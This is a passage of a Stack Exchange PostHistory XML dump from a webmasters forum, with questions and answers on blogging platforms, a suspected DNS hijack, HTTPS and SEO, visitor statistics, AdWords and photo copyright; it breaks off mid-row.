  <row Id="16781" PostHistoryTypeId="2" PostId="7875" RevisionGUID="90f5bff9-892f-4ed8-9dab-34fc5d797d20" CreationDate="2011-01-18T07:31:40.220" UserDisplayName="JP19" Text="This recursive HTML validator: http://htmlhelp.com/tools/validator/&#xD;&#xA;&#xD;&#xA;should show you broken links among other errors. The tool can also be installed locally." />
  <row Id="16782" PostHistoryTypeId="17" PostId="7877" RevisionGUID="1b755d58-ae2a-4a8b-b8c6-b864c3ef3212" CreationDate="2011-01-18T07:34:05.760" UserId="-1" Comment="from http://webapps.stackexchange.com/questions/9750/simple-blogging-platform/9751#9751" Text="" />
  <row Id="16783" PostHistoryTypeId="17" PostId="7878" RevisionGUID="e117dd22-0ead-412f-9515-7c9e92351277" CreationDate="2011-01-18T07:34:05.760" UserId="-1" Comment="from http://webapps.stackexchange.com/questions/9750/simple-blogging-platform/9759#9759" Text="" />
  <row Id="16784" PostHistoryTypeId="17" PostId="7879" RevisionGUID="63c72c1b-3da5-4d3a-ae2e-6cf0f45eabd0" CreationDate="2011-01-18T07:34:05.760" UserId="-1" Comment="from http://webapps.stackexchange.com/questions/9750/simple-blogging-platform/9761#9761" Text="" />
  <row Id="16785" PostHistoryTypeId="17" PostId="7880" RevisionGUID="340882d2-1283-400c-8857-7308f0b5707d" CreationDate="2011-01-18T07:34:05.760" UserId="-1" Comment="from http://webapps.stackexchange.com/questions/9750/simple-blogging-platform/9826#9826" Text="" />
  <row Id="16786" PostHistoryTypeId="2" PostId="7877" RevisionGUID="78c08364-3745-419f-8911-0b819781bf06" CreationDate="2010-11-29T03:10:28.840" UserId="1433" Text="Tumblr allows you to write your own custom design very easily, but they will host the blog for you. &#xD;&#xA;&#xD;&#xA;For your needs, Wordpress ( http://wordpress.org/ )  sounds like the best to be used. check out the basic theme which wordpress gives you by default to get started with. " />
  <row Id="16787" PostHistoryTypeId="2" PostId="7878" RevisionGUID="612b7349-e86e-4a7b-8960-1df1bdbc1190" CreationDate="2010-11-29T08:29:54.430" UserId="3856" Text="There are a couple of CMS platforms that were set up with this purpose in mind, such as [Barebones CMS][1]&#xD;&#xA;&#xD;&#xA;If this doesn't meet your needs, it would also be worth investigating CMS Made Simple(PHP based), Wolf CMS (PHP based) or GetSimple (XML based). &#xD;&#xA;&#xD;&#xA;  [1]: http://barebonescms.com/" />
  <row Id="16788" PostHistoryTypeId="2" PostId="7879" RevisionGUID="a7479bdd-b978-40df-917f-7fbfe9d9af5c" CreationDate="2010-11-29T09:53:49.860" UserId="3225" Text="&gt; Just post creation, comment creation and caching are the big things I'm hoping for.&#xD;&#xA;&#xD;&#xA;Around 2000 I wrote my own blogging application .NET. Like you say: making posts, having comments, archives, and the lot. However after a while I still moved to WordPress which I am using to this day.&#xD;&#xA;&#xD;&#xA;So now I need to think on how to take your arguments away:&#xD;&#xA;&#xD;&#xA;- I don't think WordPress provides much functionality you do not need. It provides blogging, comments and really has a focus on the blog part. The benefit is that everything you need is present in it including comment spam protection...&#xD;&#xA;- All functionality that is not core is not in WordPress but is left to plugins&#xD;&#xA;- It is not overkill: you need 1 sql db and the wp php files that is it, install takes 5 minutes&#xD;&#xA;- YOUR example just &quot;include('comment_list.php');&quot; ... is what WP does... just look into a theme php file and you will find that exact line ...&#xD;&#xA;&#xD;&#xA;Maybe you can elaborate what part of WordPress is overkill for what you need since from my point of view: I understand the php code behind it (only 2 directories: /admin and /include) (for admin stuff and includes to make the thing run) and I understand the basic sql schema behind it it's not that hard and maybe even the simpleness you are looking for.&#xD;&#xA;&#xD;&#xA;" />
  <row Id="16789" PostHistoryTypeId="2" PostId="7880" RevisionGUID="21217ca2-5fe1-4a6d-b211-40127af3db40" CreationDate="2010-12-01T00:29:07.917" UserId="4471" Text="You can use Jekyll. It's quite simple to set up.&#xD;&#xA;This code prints all the posts on your site:&#xD;&#xA;&#xD;&#xA;    {% for post in site.posts limit:5 %}&#xD;&#xA;        &lt;div&gt;&#xD;&#xA;           &lt;h2&gt;&lt;a href=&quot;{{ post.url }}&quot;&gt;{{ post.title }}&lt;/a&gt;&lt;/h2&gt;&#xD;&#xA;           &lt;em&gt;Posted on {{ post.date | date_to_long_string }}.&lt;/em&gt; &#xD;&#xA;           {{ post.content }}   &#xD;&#xA;           &lt;hr/&gt;&#xD;&#xA;        &lt;/div&gt;&#xD;&#xA;    {% endfor %}  &#xD;&#xA;&#xD;&#xA;I use it for my blog. You can use my source code – hosted at github – for whatever you want if you end up choosing Jekyll. The code is on my github account.&#xD;&#xA;&#xD;&#xA;http://nerian.github.com/&#xD;&#xA;https://github.com/mojombo/jekyll" />
  <row Id="16790" PostHistoryTypeId="2" PostId="7876" RevisionGUID="3189cd18-74bf-42e3-a080-9ab011dbef43" CreationDate="2010-11-29T02:09:07.827" UserId="3662" Text="I want to start and host my own blog. I have ideas for creating the website theme myself.&#xD;&#xA;&#xD;&#xA;However, I would prefer to not create the actual engine behind the blog -- comments, creating posts, caching everything, creating and managing the post database, spam protection or CAPTCHA of some sort... basic blog features.&#xD;&#xA;&#xD;&#xA;Honestly, I'm just hoping for something barebones that I can just do something like, `&lt;?php include('comment_list.php'); ?&gt;` where I want comments to show up on a post. Similar functions to that. (This is a little oversimplified, but hopefully it's understood what I'm getting at)&#xD;&#xA;&#xD;&#xA;This may be a little far-fetched. I'm not looking for the ability to have plugins, themes or user sessions and things of that nature. Just post creation, comment creation and caching are the big things I'm hoping for.&#xD;&#xA;&#xD;&#xA;I don't know if I can explain this any better. I'm just looking for the bare minimum." />
  <row Id="16791" PostHistoryTypeId="1" PostId="7876" RevisionGUID="3189cd18-74bf-42e3-a080-9ab011dbef43" CreationDate="2010-11-29T02:09:07.827" UserId="3662" Text="Simple blogging platform" />
  <row Id="16792" PostHistoryTypeId="3" PostId="7876" RevisionGUID="3189cd18-74bf-42e3-a080-9ab011dbef43" CreationDate="2010-11-29T02:09:07.827" UserId="3662" Text="&lt;php&gt;&lt;blogging&gt;" />
  <row Id="16793" PostHistoryTypeId="17" PostId="7876" RevisionGUID="f7b85615-0dfe-414f-ada4-966c68d02adf" CreationDate="2011-01-18T07:34:05.760" UserId="-1" Comment="from http://webapps.stackexchange.com/questions/9750/simple-blogging-platform" Text="" />
  <row Id="16794" PostHistoryTypeId="25" PostId="7859" RevisionGUID="9989ed4b-13fc-4791-9ea8-d966e6683a25" CreationDate="2011-01-18T07:55:37.613" Comment="http://twitter.com/#!/StackWebmasters/status/27272886251159553" />
  <row Id="16798" PostHistoryTypeId="2" PostId="7882" RevisionGUID="647a832c-625c-45c3-86ef-4cc8e40287c6" CreationDate="2011-01-18T10:37:44.683" UserId="4688" Text="If you have your polish fonts, you can generate your font-face easily &#xD;&#xA;&#xD;&#xA;[http://www.fontsquirrel.com/fontface/generator][1]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.fontsquirrel.com/fontface/generator" />
  <row Id="16800" PostHistoryTypeId="17" PostId="7884" RevisionGUID="61ed510a-f884-45ed-8f8a-d6ec4630acca" CreationDate="2011-01-18T11:06:13.680" UserId="-1" Comment="from http://stackoverflow.com/questions/4711966/dns-hijack-prevention-tips/4719842#4719842" Text="" />
  <row Id="16801" PostHistoryTypeId="2" PostId="7884" RevisionGUID="45b03d89-d8df-4716-9f7e-9783b85b26f3" CreationDate="2011-01-18T02:01:58.013" UserDisplayName="Damon Billian" Text="Since CloudFlare wouldn't be hosting your DNS if you activated via an integration, there would be nothing on our end that would cause this. The only possibility we can think of is the IP got changed in some way (not via CloudFlare, again, because we wouldn't host your DNS zone files or server ip settings)." />
  <row Id="16802" PostHistoryTypeId="2" PostId="7883" RevisionGUID="c4023601-65f2-4513-878b-5b9a99612303" CreationDate="2011-01-17T10:10:54.077" UserDisplayName="user578359" Text="Over the weekend it looks like the **DNS was hijacked on two of my domains**.  &#xD;&#xA;&#xD;&#xA;My set up is I have the sites registered on 1and1.co.uk, with dns nameservers pointing to Hostgator in the US where the sites are hosted.  I also had cloudflare CDN running on the sites (via hostgator cpanel).&#xD;&#xA;&#xD;&#xA;**My question is any ideas as to how this happened, and how I could either monitor it so I know if it occurs again, or strengthen the set up/service to minimise the risk.**&#xD;&#xA;&#xD;&#xA;**History:**&#xD;&#xA;&#xD;&#xA;* I received a ping from my site monitoring service that the sites were down.  &#xD;&#xA;* When I checked the sites were up so I assumed it was local to the monitoring service&#xD;&#xA;* I received a ping last night the sites were up&#xD;&#xA;* When I checked, one site was redirecting to download-manual.com (and checking that URL now, the home page is not the same as the one I saw, so they too may have been hijacked/hacked)&#xD;&#xA;* The other site URL remained the same but had one of those standard site search pages which bounce you off to either phishing or paid for search sites&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;I notified Hostgator who told me Cloudflare or 1and1 were the issue.  I removed cloudflare, and contacted both them and hostgator, and am awaiting a response, but am not holding my breath.&#xD;&#xA;&#xD;&#xA;Is this common?  I've never heard of this or come across this before.  It's pretty scary that this can happen so easily.&#xD;&#xA;&#xD;&#xA;Appreciate any input.&#xD;&#xA;&#xD;&#xA;**Update: I've now spoken to support at 1and1, Hostgator, and Cloudflare, and each one claims it has nothing to do with them, and must be one of the others.  Larry, curly, moe.&#xD;&#xA;&#xD;&#xA;" />
  <row Id="16803" PostHistoryTypeId="1" PostId="7883" RevisionGUID="c4023601-65f2-4513-878b-5b9a99612303" CreationDate="2011-01-17T10:10:54.077" UserDisplayName="user578359" Text="DNS hijack - prevention tips" />
  <row Id="16804" PostHistoryTypeId="3" PostId="7883" RevisionGUID="c4023601-65f2-4513-878b-5b9a99612303" CreationDate="2011-01-17T10:10:54.077" UserDisplayName="user578359" Text="&lt;dns&gt;&lt;hijacked&gt;" />
  <row Id="16805" PostHistoryTypeId="17" PostId="7883" RevisionGUID="f7e7f241-48bc-4264-9d72-b2543c7cb431" CreationDate="2011-01-18T11:06:13.680" UserId="-1" Comment="from http://stackoverflow.com/questions/4711966/dns-hijack-prevention-tips" Text="" />
  <row Id="16806" PostHistoryTypeId="5" PostId="7859" RevisionGUID="e89de810-fb50-4624-ae60-6e38fd190d2b" CreationDate="2011-01-18T11:10:35.857" UserId="4677" Comment="Shortened the description" Text="After a lot of heard work and a few years of perseverance, I'm seeing regular sales on my website which have been steadily growing over the past year.  However, the entrepreneur in me wants tap into a niche market which I've become very interested in.  &#xD;&#xA;&#xD;&#xA;It's possible to bolt on this niche onto my existing site as an additional category, without it looking too out of place; my new category of products would also benefit from the ranking my current site gets.  &#xD;&#xA;&#xD;&#xA;The kind of people who would purchase these new niche products, however, are very particular and obsessive about detail.  So, for example, many Vegetarians would not eat in KFC even if they were to introduce a new range of Veggie burgers.  So, a whole new site seemed a better approach.&#xD;&#xA;&#xD;&#xA;My dilemma is that I already have 2 websites (1 b2c and another b2b site) and maintaining a 2nd b2c site would end up vastly increasing my workload and I fear that I'd not be able to pay adequate attention to all the sites.  Moreover, the additional customer service work (e.g. answering emails from many separate email accounts) could end up being too confusing and difficult to maintain.&#xD;&#xA;&#xD;&#xA;The easy answer would be to take on an employee, but I'm just not earning enough to justify this yet.&#xD;&#xA;&#xD;&#xA;If anyone has any tips or experience they'd like to share, which could help me answer this question, I'd be highly grateful." />
  <row Id="16807" PostHistoryTypeId="5" PostId="7859" RevisionGUID="4adfb4af-2d15-487f-a4d6-093306a8d901" CreationDate="2011-01-18T11:55:07.003" UserId="4677" Comment="deleted 655 characters in body; edited title" Text="Suppose, as an example, I have a website with the address, www.cool-gifts.com and I'm getting regular sales and its a worthwhile site, but no great fireworks.  After research suppose I find that there is a great market for 2nd hand stuff and I'd like to serve that market.  Would it be best to add '2nd hand stuff' as an additional category of gifts in my existing site....or, since the 2nd hand stuff is a market in itself, would I be better off investing time and energy bringing up a whole new site (www.used-stuff.com)?&#xD;&#xA;&#xD;&#xA;If I had employees and financial resources, I probably would be a no-brainer...start a new site.  But, what if you are a small guy, with limited resources?&#xD;&#xA;&#xD;&#xA;So...new site....or add to existing site?" />
  <row Id="16808" PostHistoryTypeId="4" PostId="7859" RevisionGUID="4adfb4af-2d15-487f-a4d6-093306a8d901" CreationDate="2011-01-18T11:55:07.003" UserId="4677" Comment="deleted 655 characters in body; edited title" Text="Do I create new site or add to existing site?" />
  <row Id="16809" PostHistoryTypeId="2" PostId="7885" RevisionGUID="c1302c19-01b8-4e63-813d-2770fb8a3a26" CreationDate="2011-01-18T12:25:23.973" UserId="1757" Text="Why do you think it's [DNS hijacking][1]? And if you believe it's DNS hijacking, why would you suspect your CDN provider, registrar, or webhost of being at fault? If your DNS requests are being hijacked, then it'd be your ISP's fault (or whoever operates the DNS servers your network is configured to use). This seems highly unlikely.&#xD;&#xA;&#xD;&#xA;You're not providing enough information for us to go on. Have you checked the actual DNS settings on your domain? Have you checked the DNS response you get back from your ISP's DNS servers? If these both point to your web server then this has nothing to do with DNS.&#xD;&#xA;&#xD;&#xA;The most likely scenario is that your site or hosting account was compromised, and it has nothing to do with DNS hijacking&amp;mdash;especially as you're actually being &quot;redirected&quot; to another URL (instead of just showing different content on your site). Analyze the HTTP communication when you request a page on your domain to see how you're being redirected. Figure out what's going on first before you start pointing fingers.&#xD;&#xA;&#xD;&#xA;  [1]: http://en.wikipedia.org/wiki/DNS_hijacking" />
  <row Id="16814" PostHistoryTypeId="2" PostId="7886" RevisionGUID="1df2b1d6-62a2-4f9b-b1d0-da809343cb10" CreationDate="2011-01-18T12:54:04.390" UserId="3718" Text="I think you could do both. Until something is set up, talk about it on your current website. This means the traffic going to your site will see your new website (in it's idea phase) and this will generate interest.&#xD;&#xA;&#xD;&#xA;Once the other site is up and running, then link, even advertise your new site on the existing site.&#xD;&#xA;&#xD;&#xA;It also sounds like the two websites would appeal to the same demographic, so doing this is a no-brainer (In my opinion anyway)." />
  <row Id="16815" PostHistoryTypeId="2" PostId="7887" RevisionGUID="090f6fcf-1a2b-47a4-aff8-5a43a8d3b86e" CreationDate="2011-01-18T13:06:58.837" UserId="4694" Text="Guys - I've just had to change one of my site's home page to https from http. I had plenty links coming into the http page and was performing well in Google against many of my targeted search phrases.&#xD;&#xA;&#xD;&#xA;I did a 301 redirect from the http page to transfer the link juice to the https page  (and to prevent duplicate content issues), but my search rankings have tanked  which indicates no link juice has been transferred. My PR has vanished - which I'd expect - but I'm really surprised that the SERP rankings fell off the face of the earth. Anyone have any ideas how I can recover this. I've waited a couple of months since the changes took effect just in case Google was taking time to check it out.  " />
  <row Id="16816" PostHistoryTypeId="1" PostId="7887" RevisionGUID="090f6fcf-1a2b-47a4-aff8-5a43a8d3b86e" CreationDate="2011-01-18T13:06:58.837" UserId="4694" Text="Impact of migrating home page from http to https on search results" />
  <row Id="16817" PostHistoryTypeId="3" PostId="7887" RevisionGUID="090f6fcf-1a2b-47a4-aff8-5a43a8d3b86e" CreationDate="2011-01-18T13:06:58.837" UserId="4694" Text="&lt;seo&gt;" />
  <row Id="16818" PostHistoryTypeId="25" PostId="7887" RevisionGUID="8b03a532-9ceb-489a-ac58-b24e24f2fb35" CreationDate="2011-01-18T13:55:37.850" Comment="http://twitter.com/#!/StackWebmasters/status/27363484614266881" />
  <row Id="16819" PostHistoryTypeId="2" PostId="7888" RevisionGUID="7553c3b4-ec83-4aae-8b9d-694c8abde0e8" CreationDate="2011-01-18T14:12:04.217" UserId="1253" Text="Search engines don't appear to support https nearly as well as http. There are probably good reasons for this as many sites use https to keep bots out of restricted or sensitive areas. Does your home page really need to be encrypted? If not there is no reason to use https anyway and you should switch back to http." />
  <row Id="16820" PostHistoryTypeId="17" PostId="7890" RevisionGUID="5b518ede-a690-4b2e-8aa5-e762d375f88f" CreationDate="2011-01-18T15:32:11.593" UserId="-1" Comment="from http://stackoverflow.com/questions/4723208/are-there-any-difference-between-h1-h6-tags-for-seo/4723349#4723349" Text="" />
  <row Id="16821" PostHistoryTypeId="2" PostId="7890" RevisionGUID="c4d676d3-97bb-4ec5-94e8-9b963142febd" CreationDate="2011-01-18T11:09:24.507" UserDisplayName="helle" Text="absolutely yes.&#xD;&#xA;&#xD;&#xA;the best practice is to structure your content like a normal office document, by using paragraphs with titles.&#xD;&#xA;&#xD;&#xA;important to know is, that you should use the tags for it's desire. so use a table only for a real table, a list for a list, and so on. with the mentioned tags you should structure titles and subtitles of your content.&#xD;&#xA;&#xD;&#xA;a common practice is, to use only one h1 tag each site. its the main title of it and it should differ from the `&lt;title&gt;` tag itself." />
  <row Id="16822" PostHistoryTypeId="2" PostId="7889" RevisionGUID="b4c5902a-90e2-40cc-a6a8-ea31935eb0a7" CreationDate="2011-01-18T10:52:00.463" UserId="4465" Text="Are there any difference between `&lt;h1&gt; ... &lt;h6&gt;` tags for SEO ?&#xD;&#xA;&#xD;&#xA;For example, `&lt;h1&gt; Most Important &lt;/h1&gt;&#xD;&#xA;&lt;h6&gt; Less Important &lt;/h6&gt;`" />
  <row Id="16823" PostHistoryTypeId="1" PostId="7889" RevisionGUID="b4c5902a-90e2-40cc-a6a8-ea31935eb0a7" CreationDate="2011-01-18T10:52:00.463" UserId="4465" Text="Are there any difference between `&lt;h1&gt; ... &lt;h6&gt;` tags for SEO ?" />
  <row Id="16824" PostHistoryTypeId="3" PostId="7889" RevisionGUID="b4c5902a-90e2-40cc-a6a8-ea31935eb0a7" CreationDate="2011-01-18T10:52:00.463" UserId="4465" Text="&lt;html&gt;&lt;seo&gt;&lt;tags&gt;&lt;heading&gt;" />
  <row Id="16825" PostHistoryTypeId="17" PostId="7889" RevisionGUID="4b9ad288-683c-444e-abcb-d8f5c22a1a1d" CreationDate="2011-01-18T15:32:11.593" UserId="-1" Comment="from http://stackoverflow.com/questions/4723208/are-there-any-difference-between-h1-h6-tags-for-seo" Text="" />
  <row Id="16826" PostHistoryTypeId="2" PostId="7891" RevisionGUID="527dab55-2025-41eb-9897-a07d61fcb6ca" CreationDate="2011-01-18T15:35:14.160" UserId="1703" Text="Hi I plan to have a web site that will have pages for local companies. The companies will have a backend to update their details. Essentially in the backend I want the company to be able to see their profile statistics e.g. monthly visitors, unique visitors, visitors per country. Is there a software package that can provide this for my site? LAMP setup. " />
  <row Id="16827" PostHistoryTypeId="1" PostId="7891" RevisionGUID="527dab55-2025-41eb-9897-a07d61fcb6ca" CreationDate="2011-01-18T15:35:14.160" UserId="1703" Text="Visitor statistics software per user account page" />
  <row Id="16828" PostHistoryTypeId="3" PostId="7891" RevisionGUID="527dab55-2025-41eb-9897-a07d61fcb6ca" CreationDate="2011-01-18T15:35:14.160" UserId="1703" Text="&lt;statistics&gt;&lt;lamp&gt;" />
  <row Id="16829" PostHistoryTypeId="5" PostId="7864" RevisionGUID="9dcf5b56-5665-469f-9807-896fe12b6f22" CreationDate="2011-01-18T15:37:16.137" UserId="4630" Comment="added 176 characters in body" Text="I am working on a brand new SaaS web application and need to estimate the initial bandwidth usage. Since the site doesn't exist yet, and since this is my first endeavor of this sort, I'm not really sure how much bandwidth to estimate to begin with.&#xD;&#xA;&#xD;&#xA;We will be using Linux, Apache, PHP and Mysql.&#xD;&#xA;&#xD;&#xA;The content will be generated dynamically. There will be images as part of the site design but user's will also upload images that will be displayed and documents that will be stored for download at later times.&#xD;&#xA;&#xD;&#xA;We'd like to be able to support 500,000 page loads per month with estimated image loads being about two to three times that.&#xD;&#xA;&#xD;&#xA;&lt;b&gt;Edit:&lt;/b&gt;&#xD;&#xA;&#xD;&#xA;Since the site isn't built yet, we're looking for suggestions on how to create a good faith estimate for what we'll need at a minimum to launch the web app." />
  <row Id="16830" PostHistoryTypeId="2" PostId="7892" RevisionGUID="207dd09d-54a5-4e37-87d2-b8ed56ed88ea" CreationDate="2011-01-18T15:37:56.280" UserId="4329" Text="I set up my first Google image ad two days ago. It was approved almost immediately, but I have seen 0 impressions and 0 clicks since then.&#xD;&#xA;&#xD;&#xA;I tried setting my CPC to $4, which I figured should be high enough to win bids at lease _some_ of the time, but no luck.&#xD;&#xA;&#xD;&#xA;Anyone experienced this? My text ads continue to receive impressions but after two and a half days I still see nothing for the image ad." />
  <row Id="16831" PostHistoryTypeId="1" PostId="7892" RevisionGUID="207dd09d-54a5-4e37-87d2-b8ed56ed88ea" CreationDate="2011-01-18T15:37:56.280" UserId="4329" Text="My Google image ad is consistently receiving 0 impressions" />
  <row Id="16832" PostHistoryTypeId="3" PostId="7892" RevisionGUID="207dd09d-54a5-4e37-87d2-b8ed56ed88ea" CreationDate="2011-01-18T15:37:56.280" UserId="4329" Text="&lt;google&gt;&lt;images&gt;&lt;adwords&gt;" />
  <row Id="16833" PostHistoryTypeId="2" PostId="7893" RevisionGUID="864827d4-3b55-49f7-9f45-dbe7b5f5bf91" CreationDate="2011-01-18T15:46:12.180" UserId="1064" Text="Google Analytics offers a [Data Export API][1] if you want to allow businesses the option to use a Google Analytics profile with your service - there are many other statistics packages out there, however, Google Analytics is pretty hard to beat (unless you want to license a local [Urchin][2] install).&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://code.google.com/apis/analytics/docs/gdata/home.html&#xD;&#xA;  [2]: http://www.google.com/urchin/index.html" />
  <row Id="16834" PostHistoryTypeId="10" PostId="7889" RevisionGUID="7a3e0041-bda7-4c73-a119-a0f14697ebab" CreationDate="2011-01-18T15:53:01.220" UserId="1253" CloseReasonId="1" Text="[{&quot;Id&quot;:1253,&quot;DisplayName&quot;:&quot;John Conde&quot;}]" />
  <row Id="16835" PostHistoryTypeId="5" PostId="7889" RevisionGUID="e3c96d8c-30b6-41f5-9ee2-ab9cd1d21994" CreationDate="2011-01-18T15:53:01.327" UserId="-1" Comment="insert duplicate link" Text="&gt; **Possible Duplicate:**  &#xA;&gt; [Does Heading tags like &amp;lt;h1&amp;gt; and &amp;lt;h2&amp;gt; make a big differences during SEO?](http://webmasters.stackexchange.com/questions/4524/does-heading-tags-like-h1-and-h2-make-a-big-differences-during-seo)  &#xA;&#xA;&lt;!-- End of automatically inserted text --&gt;&#xA;&#xA;Are there any difference between `&lt;h1&gt; ... &lt;h6&gt;` tags for SEO ?&#xD;&#xA;&#xD;&#xA;For example, `&lt;h1&gt; Most Important &lt;/h1&gt;&#xD;&#xA;&lt;h6&gt; Less Important &lt;/h6&gt;`" />
  <row Id="16836" PostHistoryTypeId="2" PostId="7894" RevisionGUID="5d096522-e165-4f6b-8a50-7f21768c541c" CreationDate="2011-01-18T15:53:56.000" UserId="2632" Text="Does anyone know where I can find a web service (or even an XML file or spreadsheet I can download) that will let me pull in nutrition information from the major fast food chains (U.S.-based only)?" />
  <row Id="16837" PostHistoryTypeId="1" PostId="7894" RevisionGUID="5d096522-e165-4f6b-8a50-7f21768c541c" CreationDate="2011-01-18T15:53:56.000" UserId="2632" Text="Where can I find a web service for fast food nutrition information?" />
  <row Id="16838" PostHistoryTypeId="3" PostId="7894" RevisionGUID="5d096522-e165-4f6b-8a50-7f21768c541c" CreationDate="2011-01-18T15:53:56.000" UserId="2632" Text="&lt;web-services&gt;" />
  <row Id="16839" PostHistoryTypeId="5" PostId="7893" RevisionGUID="c19029b5-3bf8-42d5-96c1-79a257fa7342" CreationDate="2011-01-18T16:30:01.080" UserId="1064" Comment="Updated per questions." Text="Google Analytics offers a [Data Export API][1] if you want to allow businesses the option to use a Google Analytics profile with your service - there are many other statistics packages out there, however, Google Analytics is pretty hard to beat (unless you want to license a local [Urchin][2] install).&#xD;&#xA;&#xD;&#xA;---&#xD;&#xA;&#xD;&#xA;**Updates:**&#xD;&#xA;&#xD;&#xA;&gt; Can I have a Google Analytics profile setup automatically per company?&#xD;&#xA;&#xD;&#xA;You could use a single profile (along with advanced segments) to track all activity - for example, if every business gets its own subdirectory (i.e. `/business-name/`) on your main domain, you could filter results displayed in the business' admin panel to include only traffic which matches the business' subdirectory.&#xD;&#xA;&#xD;&#xA;&gt; Will this sit under my Google Analytics account?&#xD;&#xA;&#xD;&#xA;I was originally thinking that you could encourage businesses who use your service to create a separate profile which could receive data from your website, however, you could maintain a master profile to store the information *and* push data to a business' analytics account (if desired).&#xD;&#xA;&#xD;&#xA;  [1]: http://code.google.com/apis/analytics/docs/gdata/home.html&#xD;&#xA;  [2]: http://www.google.com/urchin/index.html" />
  <row Id="16840" PostHistoryTypeId="25" PostId="7892" RevisionGUID="eb6d1321-4851-4af5-bbfa-19367c273308" CreationDate="2011-01-18T16:55:39.417" Comment="http://twitter.com/#!/StackWebmasters/status/27408789263089665" />
  <row Id="16841" PostHistoryTypeId="5" PostId="7858" RevisionGUID="df55b5a3-35f6-4c3d-bebf-84959b89dcb0" CreationDate="2011-01-18T16:59:24.517" UserDisplayName="mt_Sara" Comment="added 78 characters in body" Text="Are you migrating to the (gs) or (dv)? Here is some information about migrating to the (gs):&#xD;&#xA;&#xD;&#xA;http://mdtm.pl/gdoPVo&#xD;&#xA;&#xD;&#xA;You can use the (mt) Wiki to find information about migrating to the (dv) Dedicated-Virtual Server, if that applies.&#xD;&#xA;&#xD;&#xA;If you have any questions or need any help, you can contact us via support request, phones or Twitter (@mediatemple) for support 24/7.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;edit: changed the link to correct (mt) Wiki article. Sorry about that!" />
  <row Id="16842" PostHistoryTypeId="5" PostId="7859" RevisionGUID="bbadbf1b-7505-4d9e-af11-147c3ea044ec" CreationDate="2011-01-18T17:03:21.470" UserId="4677" Comment="deleted 5 characters in body" Text="Suppose, as an example, I have a website with the address, www.cool-gifts.com and I'm getting regular sales and its a worthwhile site, but no great fireworks.  After research I find that there is a great market for '2nd hand stuff' and I'd like to serve that market.  Would it be best to add '2nd hand stuff' as an additional category of gifts in my existing site....or, since the 2nd hand stuff is a market in itself, would I be better off investing time and energy bringing up a whole new site (www.used-stuff.com)?&#xD;&#xA;&#xD;&#xA;If I had employees and financial resources, it probably would be a no-brainer...start a new site.  But, what if you are a small guy, with limited resources?&#xD;&#xA;&#xD;&#xA;So...new site....or add to existing site?" />
  <row Id="16843" PostHistoryTypeId="2" PostId="7895" RevisionGUID="6ccfd003-5f8b-41ab-8fbe-d6a31e0f8527" CreationDate="2011-01-18T17:03:23.800" UserDisplayName="webisdead" Text="Does anybody know where to get list of working long2short service websites? The bigger the better - I need at least 100 of them." />
  <row Id="16844" PostHistoryTypeId="1" PostId="7895" RevisionGUID="6ccfd003-5f8b-41ab-8fbe-d6a31e0f8527" CreationDate="2011-01-18T17:03:23.800" UserDisplayName="webisdead" Text="Looking for big list of shortening service websites" />
  <row Id="16845" PostHistoryTypeId="3" PostId="7895" RevisionGUID="6ccfd003-5f8b-41ab-8fbe-d6a31e0f8527" CreationDate="2011-01-18T17:03:23.800" UserDisplayName="webisdead" Text="&lt;html&gt;&lt;url-shorteners&gt;" />
  <row Id="16846" PostHistoryTypeId="2" PostId="7896" RevisionGUID="417a092c-2691-4a9e-8e81-5cf133428cc1" CreationDate="2011-01-18T17:08:09.550" UserId="1253" Text="A quick Google search found [this][1]. Took about 10 seconds to find.&#xD;&#xA;&#xD;&#xA;  [1]: http://blog.go2.me/2009/01/exhausting-review-of-link-shorteners.html" />
  <row Id="16848" PostHistoryTypeId="17" PostId="7899" RevisionGUID="4eeffa99-c664-4886-9ee6-ee46aff058d0" CreationDate="2011-01-18T17:27:50.490" UserId="-1" Comment="from http://stackoverflow.com/questions/4726530/if-someone-takes-a-photo-of-my-product-and-posts-it-on-the-web-do-i-have-the-righ/4726566#4726566" Text="" />
  <row Id="16849" PostHistoryTypeId="2" PostId="7899" RevisionGUID="2c8c770a-bf27-4b88-b758-87d74f594f4d" CreationDate="2011-01-18T16:40:51.107" UserDisplayName="Gregory A Beamer" Text="Not necessarily, as the &quot;work&quot;, for copyright purposes, is the picture of the product and not the product. &#xD;&#xA;&#xD;&#xA;Peace and Grace,&#xD;&#xA;Gregory A. Beamer" />
  <row Id="16850" PostHistoryTypeId="2" PostId="7898" RevisionGUID="7f36c0d3-d4b7-4520-83f0-6c5726a2dd32" CreationDate="2011-01-18T16:37:42.460" UserDisplayName="Tommy Arnold" Text="If someone takes a photo of my product and posts it on the web do I have the right to use it on my website?" />
  <row Id="16851" PostHistoryTypeId="1" PostId="7898" RevisionGUID="7f36c0d3-d4b7-4520-83f0-6c5726a2dd32" CreationDate="2011-01-18T16:37:42.460" UserDisplayName="Tommy Arnold" Text="If someone takes a photo of my product and posts it on the web do I have the right to use it on my website?" />
  <row Id="16852" PostHistoryTypeId="3" PostId="7898" RevisionGUID="7f36c0d3-d4b7-4520-83f0-6c5726a2dd32" CreationDate="2011-01-18T16:37:42.460" UserDisplayName="Tommy Arnold" Text="&lt;image&gt;&lt;photo&gt;&lt;copyright&gt;" />
  <row Id="16853" PostHistoryTypeId="17" PostId="7898" RevisionGUID="48afd29a-9775-4774-b8de-dfd835589ab7" CreationDate="2011-01-18T17:27:50.490" UserId="-1" Comment="from http://stackoverflow.com/questions/4726530/if-someone-takes-a-photo-of-my-product-and-posts-it-on-the-web-do-i-have-the-righ" Text="" />
  <row Id="16854" PostHistoryTypeId="2" PostId="7900" RevisionGUID="e080793e-cfa6-4a37-8a31-72ae0907a0bc" CreationDate="2011-01-18T18:09:48.357" UserId="2632" Text="I did find a way to do this, although it's not ideal - it requires downloading, uploading, etc. any time changes are made (i.e. if I buy something new and want it to be available to my site.) It also includes items you haven't actually purchased (wish lists.) Right now it's not a huge issue; this was a development exercise for me and I don't particularly care if the information is totally up-to-date now that my database is populated.&#xD;&#xA;&#xD;&#xA;Here's what I had to do:&#xD;&#xA;&#xD;&#xA; 1. Install the [Amazon Library Exporter][1] extension in Chrome;&#xD;&#xA; 2. Go to [https://kindle.amazon.com/][2] and click My Books, then All Books;&#xD;&#xA; 3. On each individual page (can only do one page at a time, not the entire list) click the extension icon in the URL bar;&#xD;&#xA; 4. In the popup window that comes up, click the Google Books button (you must have a google account);&#xD;&#xA; 5. 